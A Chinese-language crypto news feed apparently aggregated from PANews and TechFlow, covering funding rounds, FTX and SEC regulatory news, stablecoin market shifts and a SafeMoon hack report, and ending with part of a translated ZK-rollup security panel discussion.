    Aptos 生态 DeFi 基础设施协议 Econia Labs 完成 650 万美元 A 轮融资，Dragonfly 领投 Aptos 生态 DeFi 基础设施协议 Econia Labs 完成 650 万美元 A 轮融资，Dragonfly 领投，Lightspeed Faction、Wintermute Ventures、Hudson River Trading、Aptos Labs 和 Flow Traders 等参投。所筹资金将用于扩大团队、支持社区活动及帮助开发人员加入 Aptos 和 Econia 生态系统。 据 CoinDesk 介绍，Econia Labs 由 Econia Labs 与 Aptos 团队合作开发，正在构建一个提供定单簿的后端协议，允许交易者以自己想要的价格或市场提供的最佳价格进行资产购买或出售，并支持及提供一系列交易选项的 DeFi 应用程序集成。 内容来源 观点： Alex（Econia Labs 首席执行官）：Econia 在 Aptos DeFi 基础层提供了一个结算引擎，这使得其他 DApp 能够进入一个共同的交易场所，随着流动性被汇集到 Econia 订单簿中，开发人员可以专注于在核心协议的基础上建立创新产品，如永续期货、期权和保证金交易市场，而不必担心交易方之间的匹配和填补交易。【原文为英文】 内容来源  ( 28 min )
    去中心化投资基金 Hydra Ventures 完成 1000 万美元融资
    去中心化投资基金 Hydra Ventures 完成 1000 万美元融资 去中心化投资基金 Hydra Ventures 完成 1000 万美元融资，1kx、ConsenSys、Collab+Currency、Wicklow Capital 和 Seed Club 等参投。所筹资金将用于投资其他 30 至 40 个以投资为重点的 DAO。 据 The Block 介绍，Hydra Ventures DAO 由风投公司 1kx 合伙人 Pet3rpan 提议创建，核心团队成员包括 1kx、MetaCartel Ventures 和 Thing3 成员。据悉，Hydra Ventures 目前已经进行了一项投资，并计划在投资过程中孵化一些投资 DAO。 内容来源 观点： Stephen McKeon（Collab+Currency 管理合伙人）：投资 DAO 领域刚刚起步，对我们而言，Hydra 完全有能力成为 DAO 基金模式的先驱。【原文为英文】 内容来源  ( 216 min )

  • Open

    对话 Andre Cronje：离开的原因，对 Fantom、DeFi 以及监管的看法
    对话 Andre Cronje：离开的原因，对 Fantom、DeFi 以及监管的看法 – 深潮TechFlow 撰写：Revelo Intel Read the full entry  ( 3 min )
    对话 Andre Cronje：离开的原因，对 Fantom、DeFi 以及监管的看法
    对话 Andre Cronje：离开的原因，对 Fantom、DeFi 以及监管的看法 – 深潮TechFlow 撰写：Revelo Intel Read the full entry  ( 3 min )
    账户抽象：下一个带领十亿用户进入加密的新叙事
    账户抽象：下一个带领十亿用户进入加密的新叙事 – 深潮TechFlow 撰写：Ignas Read the full entry  ( 4 min )
    账户抽象：下一个带领十亿用户进入加密的新叙事
    账户抽象：下一个带领十亿用户进入加密的新叙事 – 深潮TechFlow 撰写：Ignas Read the full entry  ( 4 min )
    Noble：为原生通用资产和RWA发行而生的Cosmos基础设施
    Noble：为原生通用资产和RWA发行而生的Cosmos基础设施 – 深潮TechFlow 撰写：Sooper Read the full entry  ( 4 min )
    Noble：为原生通用资产和RWA发行而生的Cosmos基础设施
    Noble：为原生通用资产和RWA发行而生的Cosmos基础设施 – 深潮TechFlow 撰写：Sooper Read the full entry  ( 4 min )
    去中心化合约交易平台Orbits与用户共享流动性做市收益
    去中心化合约交易平台Orbits与用户共享流动性做市收益 – 深潮TechFlow 自从2022年加密行业以FTX为代表的巨头暴雷频发，加密交易市场去中心化和透明度越来越受到关注。交易者意识到传统中心化交易平台的弊端，交易活动从CeFi迁移到DeFi不是“是否”的问题，而是一个“何时”的问题。 Read the full entry  ( 3 min )
    去中心化合约交易平台Orbits与用户共享流动性做市收益
    去中心化合约交易平台Orbits与用户共享流动性做市收益 – 深潮TechFlow 自从2022年加密行业以FTX为代表的巨头暴雷频发，加密交易市场去中心化和透明度越来越受到关注。交易者意识到传统中心化交易平台的弊端，交易活动从CeFi迁移到DeFi不是“是否”的问题，而是一个“何时”的问题。 Read the full entry  ( 3 min )

  • Open

    FTX要求法院驳回SBF使用公司保险支付法律费用的请求
    PANews 3月30日消息，据The Block报道，FTX律师在一份法庭文件中表示，允许FTX前首席执行官SBF“耗尽”1000万美元的公司保险来支付他的法律费用是“不公平的”。本月早些时候，SBF向法院申请使用1000万美元的FTX董事和高管保险计划，以便支付他在破产和刑事诉讼中的律师费用。在另一份文件中，FTX官方无担保债权人委员会要求法官驳回SBF使用公司保险偿还法律费用的请求。该委员会在法庭文件中表示，“董事和高管保险政策是为了保护公司及其董事和高管在正常业务过程中做出诚实决策，但SBF的情况并非如此。法庭应拒绝SBF的请求。”根据委员会的说法，SBF和FTX的债务人共享该保险计划下的1000万美元。实际上用于支付SBF法律费用的每一美元都减少了可用于偿还债权人的金额。  ( 4 min )
    SEC主席：现有证券法“已涵盖加密市场的大部分活动”
    PANews 3月30日消息，据The Block报道，在周三众议院拨款委员会听证会后，美国证券交易委员会(SEC)主席Gary Gensler表示，现有的证券法“涵盖了加密市场上进行的大部分活动”。应该由SEC和法院来定义什么是证券，而不是由各个加密交易所来选择。Gensler重申，大多数加密货币都是证券，向美国投资者出售加密货币的海外实体需要遵守证券法。他补充称，“许多立法工具如果被采纳，将会破坏证券监管的职权范围"。当被问及SEC是否计划对币安提起诉讼时，Gensler拒绝回答，但他表示该机构已对其他交易所提起诉讼。  ( 4 min )
    USDC本月净流出超过100亿美元，USDT市场份额创22个月新高
    PANews 3月30日消息，据CoinDesk报道，自3月10日监管机构关闭主要硅谷银行以来，USDC本月净流出已超过100亿美元。CoinGecko的数据显示，USDC目前仍然是第二大稳定币，市值约为330亿美元，但相比本月初（430亿美元）市值缩水约23%。与此同时，大量投资者转向了最大的稳定币USDT。DefiLlama的数据显示，自3月10日以来，USDT的市值增长了约80亿美元，达到797亿美元，占据了60%的稳定币市场份额，创2021年5月以来新高。  ( 4 min )
    美国财政部高级官员：加密货币在银行倒闭事件中没有“直接作用”
    PANews 3月30日消息，据CoinDesk报道，美国财政部负责国内金融事务的副部长Nellie Liang表示，加密行业不应该为硅谷银行(SVB)和Signature Bank的挤兑事件负责。她在周三众议院金融服务委员会的听证会上表示，不认为加密货币在这两起银行破产事件中发挥了直接作用。当被问及数字资产是否是一个间接因素时，她指出Signature在该领域特别活跃，但她没有提供进一步的细节。联邦存款保险公司(FDIC)主席Martin Gruenberg此前曾表示，截至2022年底，Signature约五分之一的存款与加密客户有关。根据监管机构的说法，这些银行所承担的商业风险削弱了它们的弹性。美联储负责监管的副主席巴尔Michael Barr表示，硅谷银行的问题在于"传统的利率风险管理"。据悉，在为期两天的国会听证会上，议员对加密货币并未表现出很大兴趣。听证会显示，监管机构和国会议员的主要担忧是银行的管理问题，以及美联储和FDIC在监管方面的潜在失误。关于潜在新监管立法的讨论针对的是银行业资本和流动性缓冲问题，而并非加密监管法案。  ( 4 min )
    知情人士：Coinbase计划继续在加拿大开展业务，币安或将退出加拿大
    PANews 3月30日消息，据CoinDesk报道，据知情人士透露，Coinbase正与监管机构讨论获得在加拿大继续开展业务的适当许可证。与此同时，另一位不愿透露姓名的知情人士表示，币安可能会退出加拿大。但币安的一位发言人表示，该交易所“尚未制定明确的计划”。此外，据知情人士透露，Crypto.com也计划留在加拿大。本月早些时候，OKEx宣布退出加拿大。Blockchain.com和Deribit也表示将退出加拿大市场，预计Kraken将很快就此事发表声明。2月22日，加拿大证券管理局（CSA）发布加密新规，要求交易所和其他平台必须遵守“加强的投资者保护承诺”，包括将加拿大客户的加密资产隔离保管、禁止向加拿大客户提供保证金或其他形式的杠杆交易以及禁止未经CSA许可出售稳定币。  ( 4 min )
    The Information：Gemini寻求推出海外加密衍生品交易所
    PANews 3月30日消息，据The Information报道，加密交易所Gemini正寻求推出一个海外加密货币衍生品交易所。该平台将专门提供永续期货，这是一种在美国禁止向零售交易者提供的衍生品。由于这种合约没有到期日，而且可以使用高杠杆，因此被认为是一种高风险产品。知情人士透露，Gemini近几个月来一直在接触一些交易公司，希望它们担任海外交易所的做市商。随着FTX的破产以及币安面临CFTC起诉，其他公司有望在加密衍生品领域抢占市场份额。据此前消息，Coinbase正在推出一个离岸平台，以交易加密货币永续掉期。  ( 4 min )
    Safe未申领空投的50%将重新分配至此前已领取者地址
    PANews 3月29日消息，Snapshot页面显示，数字资产管理平台Safe（原Gnosis Safe）治理社区SafeDAO关于未申领SAFE空投重新分配的提案SEP #5已于今日23:01时结束投票。根据投票结果，Safe 向用户空投中未申领代币SAFE中的一半（即超1610万枚）将按比例重新分配至此前已领取者地址。已领取者将总计可申领初始空投方案中约190.45%的SAFE。另一半超1610万枚未申领SAFE后续将由Safe DAO投票决定空投至何种Safe用户，例如用于空投至L2 Safe用户等方案。  ( 4 min )
    专注于人工智能的加密协议Fetch.ai完成4000万美元融资
    PANews 3月29日消息，据CoinDesk报道，专注于人工智能的加密协议Fetch.ai已从做市商和投资公司 DWF Labs 处筹集了 4000 万美元。Fetch.ai的目标是通过提供自主的机器对机器生态系统，为开发人员提供工具来部署应用程序并从中获利。该公司周三在一份声明中表示，Fetch 将利用这笔投资在其平台上部署去中心化机器学习、自主代理和网络基础设施。  ( 4 min )
    遭美国SEC诉讼后，加密货币交易所Beaxy宣布关闭
    PANews 3月29日消息，据CoinDesk报道，数字货币交易所Beaxy表示，由于美国证券交易委员会（SEC）指控该公司及其创始人 Artak Hamazaspyan 经营未注册的交易所和经纪业务，加密平台 Beaxy 已正式关闭。SEC 还指控 Beaxy Digital Ltd. 通过使用其 BXY 代币发行未注册证券非法筹集 800 万美元。  ( 4 min )
    初创公司Econia Labs在Dragonfly领投的种子轮融资中筹集了650万美元
    PANews 3月29日消息，据CoinDesk报道，为 Aptos 区块链开发订单簿协议的初创公司 Econia Labs 在 Dragonfly 领投的种子轮融资中筹集了 650 万美元。这轮融资的其他支持者包括 Lightspeed Faction、Wintermute Ventures、Hudson River Trading 和 Flow Traders 等。Aptos Labs 也参与其中。Econia Labs 与 Aptos 团队合作开发了该协议。该公司将利用这笔资金扩大其团队，支持黑客马拉松和赠款计划等社区计划，并帮助开发人员加入 Aptos 和 Econia 生态系统。  ( 4 min )
    PA日报 | 马斯克等呼吁暂停训练更强大的AI系统；美国公布针对FTX创始人SBF的13项新起诉
    今日要闻提示： 1.美国公布针对FTX创始人SBF的13项新起诉，其中涉嫌贿赂中国政府官员 2.黑山司法部长：美国和韩国都正在寻求引渡Terra创始人Do Kwon 3.马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统 4.Circle：USDC储备80%为短期美债，20%为现金存款且大部分存于GSIB银行 5.Circle将通过与Noble的合作于第二季度发行基于Cosmos的USDC 6.美国法院批准将FTX在红杉资本中的4500万美元资产出售给阿布扎比的投资部门 7.质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投 8.DAO组织Hydra Ventures完成1000万美元融资，ConsenSys等参投 监管消息 法庭文件：美国公布针对FTX创始人SBF的13项新起诉 据Walter Bloomberg，法庭文件显示，美国公布了针对 FTX 加密货币交易所创始人 SAM BANKMAN-FRIED 的 13 项新起诉书。美国在新的贿赂阴谋指控中指控 BANKMAN-FRIED 指导转移至少 4000 万美元的加密货币以贿赂中国政府官员。根据指控，这笔交易是为了影响和诱导中国官员解冻 FTX 附属公司 Alameda Research 的加密货币账户。 据 FT 报道，检察官称，SBF 和他的同伙考虑并尝试了“多种方法”来解冻这些账户，其中包含价值约 10 亿美元的加密货币。2021 年 11 月左右，SBF 将一笔当时价值约 4000 万美元的贿赂款从 Alameda 转移到了一个私人加密钱包中。在付款时或前后，账户被解冻。 今日晚些时候消息，外交部发言人回应“SBF行贿中国官员”时表示，不了解情况。 黑山司法部长：美国和韩国都正在寻求引渡Terra创始人Do Kwon 黑山司法部长表示，美国和韩国都正在寻求引渡Terra创始人Do Kwon。 英国发布人工智能监管白皮书，概述了针对ChatGPT等人工智能治理的五项原则 英国政府发布了针对人工智能产业监管的白皮书，概述了针对ChatGPT等人工智能治理的五项原则。它们分别是：安全性和稳健性、透明度和可解释性、公平性、问责制和管理，以及可竞争性。在接下来的12个月里，监管机构将向相关组织发布实用指南，以及风险评估模板等其他工具，制定基于五项原则的一些具体规则。也将在议会推动立法，制定具体的人工智能法案。 NFT Lido将发行与ETH取款请求挂钩的NFT 据CoinDesk报道，流动性质押协议Lido公布了NFT发行计划，每个NFT代表了用户的ETH取款请求。取款将在下个月以太坊完成上海升级后启用。Lido的产品经理Mariya Muzyko表示，用户可以在Lido解除stETH质押，并按照1:1的比例收到ETH。一旦用户请求取款，他们将收到Lido发行的代表其取款请求的NFT。然后，用户可以使用NFT来领取他们的ETH奖励。在用户赎回他们的ETH后，NFT将被销毁。每个NFT都是可转让的，这意味着用户可以将NFT转移到另一个地址，使新地址有权获得相应的ETH奖励。Lido表示，如果用户决定在二级市场上出售他们的NFT，将不会从中收取版税。取款周期大约需要1至5天，取决于取款的stETH数量和取款请求数量。 元宇宙 马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统 据澎湃新闻报道，未来生命研究所（Future of Life Institute）公布一封公开信，呼吁所有AI实验室立即暂停训练比GPT-4更强大的AI系统至少6个月。辛顿、马库斯和马斯克均签署了这封公开信。 未来生命研究所的这封公开信题为“暂停巨型AI实验：一封公开信”，于29日解封。截至发稿，这封信已有1079名科技领袖和研究人员签名，除了马斯克、辛顿和马库斯之外，还包括图灵奖得主约书亚·本希奥（Yoshua Bengio）、《人工智能：现代方法》作者斯图尔特·罗素（Stuart Russell）、 苹果公司联合创始人史蒂夫·沃兹尼亚克（Steve Wozniak）、Stability AI首席执行官埃马德·莫斯塔克（Emad Mostaque）等科技界领袖人物。 信中写道：广泛的研究表明，具有与人类竞争智能的人工智能系统可能对社会和人类构成深远的风险，这一观点得到了顶级人工智能实验室的承认。 Axie Infinity已开启Origins S3最后阶段Mystic Era，总奖池为约5.6万枚AXS 据官方博客，链游Axie Infinity宣布Origins S3已开启最后阶段Mystic Era。Mystic Era将持续两周，总奖池为56,238 AXS，占Season 3总奖池的50%。3月31日将为所有人提供为期一周的双倍SLP，每次获胜可获得更多SLP。 项目动态 Polygon zkEVM现已完全开源，漏洞赏金高达100万美元 Polygon Labs宣布其 Polygon zkEVM 已在AGPL v3许可下完全开源。Polygon zkEVM 主网测试版也已经同步启动。目前已经设置了高达 100 万美元的漏洞赏金用于记录关键漏洞。 DeFi协议SafeMoon遭遇攻击，其流动资金池损失约890万美元 据The block报道，根据链上记录，基于BNB链的DeFi协议Safemoon今天早些时候遭到攻击，导致其流动资金池流失近890万美元。Safemoon在推特上证实了此次攻击事件。安全公司 Peckshield表示，最近的更新可能引入了一个“公共销毁漏洞”，为黑客攻击提供了便利。黑客能够使用代码功能人为地提高SFM代币的价格，然后在同一笔交易中将足够多的代币卖回流动性池，从而有效地从合约中抽走WBNB。 今日晚些时候消息，Safemoon CEO表示，漏洞已修复且其他LP池未受影响，用户资金安全。 Circle：USDC储备80%为短期美债，20%为现金存款且大部分存于GSIB银行 Circle在博客文章中披露“USDC储备的结构和管理方式”。文章称，USDC储备约80%为短期美国国债，约20%为美国银行系统的现金存款。储备是完全透明的 ，并受制于第三方保证有足够的资产来满足负债。它不包含具有不同风险状况的任何其他资产。USDC储备中的国债由SEC监管的全资政府货币基金结构持有。它们不受任何锁定或赎回门槛的限制。每天都有关于该投资组合的独立第三方报告 ，具体到每只证券。 Circle持有约20%的现金储备，以满足客户的即时流动性需求。在最近多家银行倒闭后，Circle已采取措施降低银行系统的风险，目前已将储备金的大部分现金部分存放在全球30家全球系统重要性银行之一(也称为GSIB)。Circle还在交易银行合作伙伴处持有少量资金，以支持USDC流动性操作。 此外，Circle表示，该公司一直渴望直接在美联储持有USDC储备的现金部分，实现将USDC作为真正的代币化现金的愿景。为此，需要稳定币立法。Circle还表示，为了USDC持有者的利益，USDC储备金存放在隔离账户中。 Circle将通过与Noble的合作于第二季度发行基于Cosmos的USDC 据Blockworks报道，Cosmos生态协议Noble宣布与Circle合作，将在第二季度将原生USD Coin (USDC)引入Cosmos生态系统。Noble首席执行官Jelena Djuric在接受采访时表示，Cosmos区块链间通信协议(IBC)生态系统从未有过具有高流动性和完全质押的原生、法币支持的稳定币，随着Noble的第一个发行合作伙伴Circle的出现，这种情况即将改变。 FTX向被确认为债权人的客户发送邮件，并强调索赔申请截止日期尚未确定 据吴说区块链报道，FTX大范围给债权人发送邮件，内容包括客户代码与索赔资产，邮件中表示：“你正在收到这封电子邮件，因为你已被确认为截至2022年11月11日，在FTX trading ltd第11章案例中的一个或多个债务人的账户净余额为正的客户。你已被列在一个或多个债务人的附表及报表内。” 邮件内容强调：“法院尚未设定提交针对债务人的索赔或利益证明的截止日期。当法院设定最后期限时，所有已知的债权人都将收到关于最后期限的通知以及关于如何提交索赔或利益证明的说明。” 此外，FTX无担保债权人官方委员会发推文称：“如果您认为您应该被FTX识别为客户欠款，但在3月31日之前没有通过电子邮件收到客户代码，请联系FTXInfo@ra.kroll.com。” Sei基金会成立，负责处理代币赠款、空投等事项 Layer1公链Sei宣布成立Sei基金会，作为支持Sei生态系统的非营利组织来资助协议开发、发展生态系统。Sei基金会将处理代币赠款、空投、产品请求、倡议和委托计划等。Sei Labs团队仍然致力于开发开源软件。 韩联社：Do Kwon律师拟将护照造假案上诉至最高法院，引渡进程或将拖延 据韩联社报道，Terraform Labs创始人Do Kwon在黑山的法律代表Voislav Zetsevich律师在接受采访时表示，对于Do Kwon涉护照造假案，其已对一审判决向高等法院提起上诉，若败诉，还会将此案上诉至最高法院以寻求最终判决，他们将尽可能行使自卫权。该媒体评论称，这意味着实际引渡或需要相当长的时间。 此外，对于引渡一事，该律师表示：“我不想谈，也不需要谈，因为引渡程序还没有开始。Do Kwon在完成护照造假案的司法程序不会涉及到遣返，且黑山司法部也有可能拒绝遣送。如果黑山政府收到正式的引渡请求，无论是韩国还是美国，都会成立一个新的法庭并进行单独的程序，但现阶段遣返不是需要讨论的问题。”对于Do Kwon希望被引渡至哪个国家，律师称：“无可奉告，关于遣返的决定完全由法院决定。法院不是做出政治决定的地方。遣返不应该是一个政治决定。”律师还提及，如果Do Kwon因护照造假案被判处最高5年徒刑，他可能会被遣返到另一个国家并在那里服刑。 此前3月26日消息，法院决定将Do Kwon拘留时间延长30天，Do Kwon计划对此提出上诉。 美国法院批准将FTX在红杉资本中的4500万美元资产出售给阿布扎比的投资部门 据CoinDesk报道，周二的一份法庭文件显示，美国特拉华州破产法官已批准将FTX在红杉资本基金中的4500万美元资产出售给阿布扎比的投资部门，即阿布扎比主权财富基金。FTX还要求无限期推迟出售股票清算业务Embed，该业务最初被认为是为未偿债权人筹集资金的一种快速方式。另一份法庭文件称，Embed的出售听证会原定于2月27日举行，随后被推迟，现在将暂停“直至另行通知”，但没有提供进一步的理由。 Lido将于8月1日停止在Polkadot、Kusama上的质押服务 据Lido 开发商 MixBytes 的博客文章，去中心化金融(DeFi) 质押服务 Lido (LDO) 将于 8 月 1 日停止其在 Polkadot (DOT) 和 Kusama (KSM) 上的质押服务。Polkadot 和 Kusama 不再接受存款，6 月 22 日所有资产将自动取消质押。正式终止日期为 8 月 1 日。目前 Lido 上总共有价值 400 万美元的 DOT 代币和价值 75,000 美元的 KSM。 融资消息 质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投 据CoinDesk报道，质押协议开发商 EigenLabs 在 Blockchain Capital 领投的 A 轮融资中筹集了 5000 万美元。资金来自 EigenLabs 准备在全年分阶段推出其 EigenLayer 协议的初始版本。该轮融资的其他支持者包括 Electric Capital、Polychain Capital、Hack VC、Finality Capital Partners 和 Coinbase Ventures 等。EigenLabs 上一次筹集资金是在 8 月，由 Polychain Capital 和 Ethereal Ventures 领投的 1450 万美元种子轮融资。 加密基础设施Conduit完成Paradigm领投的700万美元种子轮融资 加密基础设施初创公司 Conduit 宣布完成 700 万美元种子轮融资，Paradigm 领投，Robert Miller、Ludwig Pettersson、Dan Romero、Guillaume Poncin、Joshua Ma和Lakshman Sankar参投。新资金将帮助 Conduit 继续其首个产品发布并实现其实现盈利的目标。 Conduit 提供托管服务，帮助开发人员轻松快速地将他们的应用程序部署到 Optimism。 DAO组织Hydra Ventures完成1000万美元融资，ConsenSys等参投 据TheBlock报道，去中心化自治组织 Hydra Ventures 已筹集 1000 万美元用于支持投资 DAO。Hydra Ventures 的投资者包括 1kx、Collab+Currency、ConsenSys 和 Seed Club。Hydra Ventures DAO 匿名风险投资人 P3terpan 表示，Hydra Ventures 将投资 30 到 40 个 DAO——目标是投资 DAO 本身高达 10%。到目前为止，它已经进行了一项投资，但尚未宣布，并计划在此过程中孵化一些投资 DAO。 重要数据 数据：合并以来以太坊流通量已减少超7万枚，年化通缩率0.36% 欧科云链OKLink多链浏览器数据显示，以太坊自合并以来流通量减少量首次超7万枚，当前流通量为120,451,277枚，当前年化通缩率为0.36%。此外以太坊质押量约1782万枚，年化质押收益APY 3.81%。 数据：某巨鲸地址将价值5200万美元的ETH转至Kraken JieData监测数据显示，0xdfb6开头的巨鲸地址将3万枚ETH（价值5200万美元）转至Kraken交易所，转出均价为1755美元。 该地址的ETH来自于2017年9月和2019年3月从Bitfinex购入，持有成本价在200美元左右，目前该地址ETH余额为30302枚。  ( 6 min )
    DAO组织Hydra Ventures完成1000万美元融资，ConsenSys等参投
    PANews 3月29日消息，据TheBlock报道，去中心化自治组织 Hydra Ventures 已筹集 1000 万美元用于支持投资 DAO。Hydra Ventures 的投资者包括 1kx、Collab+Currency、ConsenSys 和 Seed Club。Hydra Ventures DAO 匿名风险投资人 P3terpan 表示，Hydra Ventures 将投资 30 到 40 个 DAO——目标是投资 DAO 本身高达 10%。到目前为止，它已经进行了一项投资，但尚未宣布，并计划在此过程中孵化一些投资 DAO。 P3terpan 于去年 6 月开始为 DAO 募集资金，并于 1 月结束募集。这些资金将存储在一组多样化的稳定币中，并计划在三年内部署这些资金，而不是像 MetaCartel Ventures 那样永久部署。  ( 4 min )
    英国发布人工智能监管白皮书，概述了针对ChatGPT等人工智能治理的五项原则
    PANews 3月29日消息，英国政府发布了针对人工智能产业监管的白皮书，概述了针对ChatGPT等人工智能治理的五项原则。它们分别是：安全性和稳健性、透明度和可解释性、公平性、问责制和管理，以及可竞争性。在接下来的12个月里，监管机构将向相关组织发布实用指南，以及风险评估模板等其他工具，制定基于五项原则的一些具体规则。也将在议会推动立法，制定具体的人工智能法案。 今日早些时候，马斯克等千名科技人士发公开信，呼吁所有AI实验室立即暂停训练比GPT-4更强大的AI系统至少6个月。信中写道：广泛的研究表明，具有与人类竞争智能的人工智能系统可能对社会和人类构成深远的风险，这一观点得到了顶级人工智能实验室的承认。  ( 4 min )
    ZK专家“华山论剑”：安全与去信任，ZK协议在机制上该如何平衡取舍？
    近日，zkSync和Polygon都推出了各自的zkEVM，掀起了一波行业的热潮。与此同时，社区对于zkEVM的安全性和去中心化也有了很多讨论。IOSG在前不久刚结束的ETHDenver期间，举办了一场以安全为主题的活动（Stay SAFU, Security Day），有幸邀请到了在零知识证明领域的头部项目参与讨论，他们分享了零知识证明协议在机制设计和工程建构上的安全原则与新颖方案，以及在设计过程中的种种权衡。 以下为各位嘉宾分享的insight原文，参与者为： ?️Queenie Wu, IOSG Ventures 合伙人（主持人）； ?️Alex Gluchowski, zkSync 联合创始人； ?️Ye Zhang, Scroll 联合创始人和研究负责人； ?️Matt Finestone, Taiko 首席运营官； ?️Mikhail Komarov, Nil foundation 创始人； ?️Brian R, Risc0 创始人； ?️ Q1：零知识证明是如何增强你们正在构建的系统的安全性的？另一方面，部署零知识证明会带来哪些安全问题？ ?️ [Brian R] 我是Risk Zero的CEO Brian Redford。我们是在Risk-V Micro Architecture构建的Risk Zero zkVM的开发者，可以在ZK系统中执行任意代码。我们还在部署一个名为Bonsai的Layer2网络，它可以在ZK场景下执行任何代码，可以把它理解为是一个ZK加速器。在ZK如何增强安全性方面，我想这取决于具体的应用场景。当然，能够进行计算并生成可以在世界任何地方验证的证明方式完全改变了区块链安全的范式。你不再需要一遍又一遍地重新做相同的计算，再通过复杂的各种机制（比如经济机制）来保证整个系统的安全性。 ?️ [Mikhail Komarov] 我是Nil的创始人Mikhail Komarov。我们为正在开发的ZK项目提供基础设施，例如zk-EVM编译器。这个编译器可以将高级语言编译成电路，使得高级语言中定义的每个计算都可以被证明，无需执行任何操作，只需要简单的电路即可。除此之外，我们还引入了一个“证明市场（Proof Market）”的概念，给想要生成zkSNARK/STARK证明的项目方，提供了一个去中心化的竞价市场。每个开发者都可以提交所需要生成的零知识证明的竞价单，然后只需要在应用程序中调用证明，以获取所需的服务（比如zkRollup就可以使用证明市场）。 基本上，我们是开发人员所需的基础设施。从我们自身来说，它并没有增强我们的安全性，但从整体来说，它确实增强了安全性。正如Brian所说的那样，它通过消除协议中应在Trustless的环境中运行的信任假设来增强安全性。它的关键在于进一步减少信任假设。这就是它如何增强安全性的方式。我相信零知识证明如果被项目，去年发生的一些安全事故可能可以避免。 ?️ [Matt Finestone] 我是Matt 来自Taiko，我们是一个以太坊兼容的ZK Rollup。我们追求最大程度的以太坊和EVM兼容性。在安全方面，我们独特的地方是我们非常依赖于经过充分测试和验证的以太坊构建模块、客户端和智能合约模式。正如Mikhail所说，ZK减少了信任假设或将其转移到Protocol/证明层面。“需要信任的”不再是一些有动机的人，而是数学和围绕数学证明开发的协议和应用。对于ZK Rollup，有很多安全考虑，不仅仅是ZK。 我认为我们尽可能地从以太坊中重用安全的部分，以保持安全。随着时间的推移和实战测试，ZK将是非常强大的系统。 ?️ [Ye Zhang] 大家好，我的名字是Ye。我在Scroll工作。我先简单介绍一下Scroll。Scroll是以太坊的扩容解决方案。它与以太坊兼容度非常高，用户可以与应用程序交互，开发者可以部署智能合约，只需将代码复制粘贴并迁移到Scroll上即可。它比以太坊更快，更便宜，同时具有更高的吞吐量和更严格的安全性。我们会去中心化我们的证明系统（Decentralized Prover Network），防止证明系统的单点故障。这是我们迈向去中心化的第一步，因为ZK Rollup的在未来相当长的一段时间内会是去中心化的。即使你对数学非常信任，对密码学非常信任，但你仍然可能遇到这种单点故障，因为你要依赖于某个证明者。 去中心化的第一步是想要将证明系统去中心化，以使其更加可靠。至于ZK的安全性，我认为其他嘉宾已经介绍了ZK给你带来了非常强大的公共可验证性属性。基本上，任何人都可以进行计算和执行证明，然后任何人都可以验证这个证明并得到相同的保证。如果你有数百万个节点，每个人只需要重新执行验证算法，而不是初始计算，这样也实现了系统的可扩展性。这就是ZK技术的威力所在，至于它可能存在的问题，如果我们的系统完全依赖数学的运算，如果存在一些错误，比如缺失一些约束条件，那么可能会很危险。这就是为什么我们采取多种方法来提高我们的安全性。例如，我们采用社区驱动的方法进行开发。从第一天开始，我们就开源了所有开发过程，并由以太坊和我们自己的社区进行了审核，这是一个更高的标准。这就是我们最小化信任和提高安全性的方法。 ?️ [Alex Gluchowski] 我叫Alex Gluchowski，是Matter Labs的CEO，我们是zkSync协议背后的公司。我们正在构建zkSync Era Network，这是一个与ZK EVM兼容的ZK Rollup。我们采取了与EVM等效的Rollup略有不同的方法。我们认为应该采取务实的方法, 从兼容的东西开始，这样开发者可以轻松接入和移植现有应用程序，并从现有工具中启动。但是，最终的ZK环境是不同的。如果你将自己绑定到原有技术上，将很难实现ZK系统的最大容量。这很重要，因为我们的使命是将区块链扩展到真实世界的范围，将下一个十亿用户引入区块链，创造新的价值互联网。如果你考虑到数百万甚至数十亿用户，你真的想要降低成本，因为随着所有这些数十亿个交易的累加，成本将变得非常重要。 这如何影响我们如何增强安全性？这是一个非常有趣的问题。当你询问如何提高安全性或任何其他因素时，你想要比较替代方案，对吧？我的基准是什么？使用ZK的替代方案是什么？替代方案可能是在ZK Rollup之前可用的其他扩展技术，例如Optimistic Rollup、侧链、Plasma等。这些方案引入了新的信任假设。如果我们的目标是将规模扩大到10亿用户，而我们的使命不仅是扩大吞吐量，而是扩大价值规模，同时保持自我主权、自我保管、无需许可的性质以及完全无需信任的系统特性，那只有使用ZK可以实现。 ?️ Q2：我们在比较不同类型的zkEVM时，通常关注的是他们的可扩展性和兼容性，（Vitalik对此进行了详细的比较: https://vitalik.ca/general/2022/08/04/zkevm.html），如果我们在此增加一个安全的维度，zkSync Era、Scroll和Taiko会如何比较不同的机制设计可能带来的不同的潜在安全风险？ ?️ [Alex Gluchowski] 正如前面的发言者所提到的，你需要隐含地信任这些复杂系统的许多组件来保证安全性，例如，你信任编译器产生的代码，你认为它正在执行你放在这个编译器中的代码逻辑。为什么你会相信它是Solidity？它没有形式化定义，所以你只是信任编译器在各个版本中的行为是正确的。我们认为这是必须要解决的问题。这就是为什么我们开始建立基于LLVM框架的编译器，它支持Solidity作为前端之一，并依赖于这个成熟的框架，有很多工具可用于代码的静态分析、安全检查等，而后端是我们的zkVM虚拟机。我们还可以支持其他更成熟的语言，这些语言实际上已经被用于其他安全环境，如Rust，或者是一些更新颖的语言，这些语言是增加了安全考量的，如Move，它能避免一些安全问题，比如双花之类的。总而言之，尽管比较复杂，我们必须从不同的层面去解决。 ?️ [Ye Zhang] 我想讲一些不同的方法及其背景。我们正在建立EVM Bytecode级别的兼容方案。基本上我们可以与EVM Bytecode进行兼容。这与zkSync的构建方式不同，我们也相信编译器不应该被信任。这就是为什么我们相信Solidity编译器，虽然它不成熟，但在区块链的背景下，Solidity已经是相对成熟的了。之前没有人使用Solidity和LLVM。我们相信那是一个更好的标准，因为已经经过了实践的检验，很多智能合约DeFi已经经过了Solidity开发者的实践考验。这就是为什么我们相信遵守这种编译器的标准，遵守Solidity编译器的标准，遵守EVM黄皮书的定义是保证系统安全性的最好方法。因为从电路方面来说，我们不需要考虑编译器方面的问题，我们不需要建立我们自己的编译器，我们只是采用现有的基础设施，证明它的执行是正确的。 